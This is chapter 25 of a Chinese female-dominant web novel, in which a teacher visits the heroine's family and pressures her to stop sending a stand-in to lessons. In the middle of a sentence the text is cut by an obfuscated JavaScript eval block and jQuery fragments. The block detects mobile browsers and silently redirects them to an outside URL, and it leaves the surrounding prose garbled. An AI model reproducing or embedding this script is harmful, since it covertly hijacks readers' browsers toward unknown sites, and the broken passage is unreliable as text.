25. 第二十五章

作品:《世女的本愿(女尊)

    父亲许是见应景望向我却又久久不说话,便带着调笑语气道:“我家华月从小调皮,不入规矩。您来此一趟莫不是因为她在上师府犯了什么事?您大可直说。”


    这话问的直接,其实楚府平素常有人上门来讨账要说法,虽被楚华玉在门口解决了大半,但父亲怎可能对我的行事风格完全不知晓。只不过睁一只眼闭一只眼罢了。


    只是若这次被师长上门挑明了我一天都没去过上师府,那就是撕破了我与家人中间的那层纸,日后父亲就算是不想管也得挽起袖子来约束我一二的。


    “这孩子……”


    应景话音拖长,似在斟酌用词。


    就这不长不短的停顿时间,让我这种“将死”之人等的倍感折磨,不禁抬眸去窥他的表情,却正好撞入应景褐色的眼眸。


    朝露日升,初秋凉风轻拂。


    有阳光斜斜切进凉亭,将应景大半个身子暴露在晨阳之下。


    他眸子微弯,望着我轻轻笑,就像是逗弄到小孩般带着些许得意和包容之色:“这孩子不贪表现,明明满腹学识却肯隐于群中,不逞口舌之快,愿避她人锋芒,但又不折自己独到的见地……”


    最后他将折扇收拢,温然一笑,总结道:“是可造之材。”


    凉亭之内寂静无声。


    他这番话连伺候在旁的楚府侍从都不禁侧目,投来迷惑的目光——


    这人说的还是他们楚府以前那个两天一小吵,三天一小祸的二姑娘吗?


    父亲低头喝了口茶,眼神扫了我和应景一眼,直到茶盏放回桌上,他似乎仍是没想好该怎么接话,遂手抵在嘴边假装轻咳。


    楚华玉连忙过去重新为父亲添茶,抬头时眼神从下往上将应景打量个遍,显然也觉得奇怪。


    这说的是我吗,明明是言锦书。


    说言锦书虽有才华却故意藏锋,就算与人有过节,也宁可忍一口气也不与人争执。但即便如此,他还是注意到了她的不同……


    这分明是当着我家人的面向我暗暗挑明他就是为代课这事来的,并警告我不要抱侥幸心理。


    这是威胁!


    但只要他不跟父亲明说我的不是,那我就还有回旋余地。


    我坐直了些,一颗心被高高吊起。


    仍是没想明白这死鳏夫到底是想干嘛。


    这明显怪异的气氛却未能影响应景,他神色坦然,折扇轻敲高挺的鼻尖,“只不过,”


    耍我呢?!这死鳏夫根本不像他外表看起来那般谦谦温润君子。


    说起话来山路十八弯。


    我有些不耐地将身子往椅子上靠,楚华玉和父亲却是露出一副了然的神色。


    “之前在上师府就觉得华月和华玉两姐妹长得不像。如今桌前近看……却更不相像了,说来华玉这孩子总让我想起我的一位故人。”


    以为他不过是戏耍够了我,终于要宣布我从未去听过学的罪责了,却是不想来了这么一句。


    我转眸去看楚华玉,而对方的视线却是落在父亲的脸上。


    父亲放在桌上的手一下一下地轻点着桌面,随后勾起一抹笑,只道:“是了,师长可能还未见过我小儿子楚星时,他和华玉相像。”


    这男人到底只是在强调言锦书代我听学之事还是另有所指?又或是知道些什么?我猜不透。


    “楚小公子吗?若有机会,倒真是想见一见。”说罢应景扫了一眼天色,忽而一愣,急忙起身熟练地从侍者手中揽过那乖巧的孩童,道:“都这个时辰了!我还需赶回去亲自授课来着……”


    他的一句话引得亭中所有人都跟着起了身。


    我和楚华玉更是“忙”了起来,又是要相送又是要挽留,礼仪做到了极致,就是闭口不提一起上马车赶往上师府听学的事。


    楚华玉说是要自行乘马去上师府,而我则还是抱着侥幸心理,又或者说,我仍觉得应景这人此时强势无比的出现在我眼前,不似巧合。


    我想等他自行挑明此行来的真正目的。


    父亲乏了,未出门来送;楚华玉驱马在楚府门前徘徊良久,没了耐心,最后鞭子一扬还是先行朝上师府的方向去了。


    “月儿明,风而静,树叶遮窗铃啊……”悠扬的摇篮曲从马车内传出。


    当只剩我一人站在应景的马车前时,柔和的男声终于停止了复唱那首我都要能背了的摇篮曲。


    然而那婴孩趴在他肩上其实早就睡着了。


    应景侧了侧头用脸颊轻轻蹭了蹭婴孩的脸,一派贤德淑良的形象,长睫轻抬,视线就投到了我身上。


    我不语,只等他挑明。


    他一手托着婴孩,一手将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910459|158151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先前被婴孩抓乱的发丝拢到耳后先是对我歉然一笑:“小孩爱闹不肯睡,倒是让华月等久了,”


    紧接着他又夸我一句:“还是华月耐心甚足,最是尊师。”


    瞧,他还在跟我绕,那我也只好充愣,眼角微垂,一副好好学生的模样:“师长亲自到访家中,学生本就倍感荣幸,您此行一趟所言所行学生永记心中。而送行乃份内之事,您若以此来夸,那便是折了学生。若来日有能用到学生的地方,尽管吩咐就是。”


    话里的意思很是明显,他此番来了楚府却没将我没去上过学的事情让我父亲知道,此举于我而言算恩,我会报答,他想要什么明说就是。


    我是在赌。有没有一种可能,应景这么着急而来不过是想以此从我这讨点好处去?


    闻言应景脸上出现了片刻惊诧,他沉默了会神色有些复杂地看向我,而后极小幅度地摇了摇头,叹道:“嘉礼说的没错,楚二世女惯会说些好听的话诱导着人去主动犯错……作为你的师长,我只会劝你迷途知返,早日手侧沾墨,脑中行诗。又怎可能如你所言那般为了名或利帮学生去蒙骗家里人。”


    他言语说的平静,但眉间有蹙起,透露出一种悲悯的神情。


    我一愣:“……嘉礼?!”


    我没听错吧?


    嘉礼怎么从未告诉过我他在宫外还结识上师府的人。


    想了想,我还是忍不住问他:“嘉礼在那之后怎样了?是又被幽禁了?他让你来的?是带话了吗?”


    一连串的发问应景却是不答,只见他长睫轻覆不再看我,而是留下一句:“明日起我希望能在上师府见到的是楚二世女,而不是言锦书。”


    话音才落,不等我反应,挑帘的马夫恭谨放下了帘子,转身喝马而去。


    “……”


    可恶,到最后还是要去上学。


    这应景是个什么性子我尚未可知,看起来知书达理儒雅端方,但他似乎连言锦书的底线都已查清楚了,难道是君嘉礼布置在外的势力?


    抛开其他的担心不说,就君嘉礼的现状便足以勾起我的好奇心。


    我很想知道,皇上知晓了我和君嘉礼那天的荒唐事后是什么样的态度,又或者皇上对楚、温两家的结亲是个什么态度。


    如此一来,这上师府我似乎是必去不可了。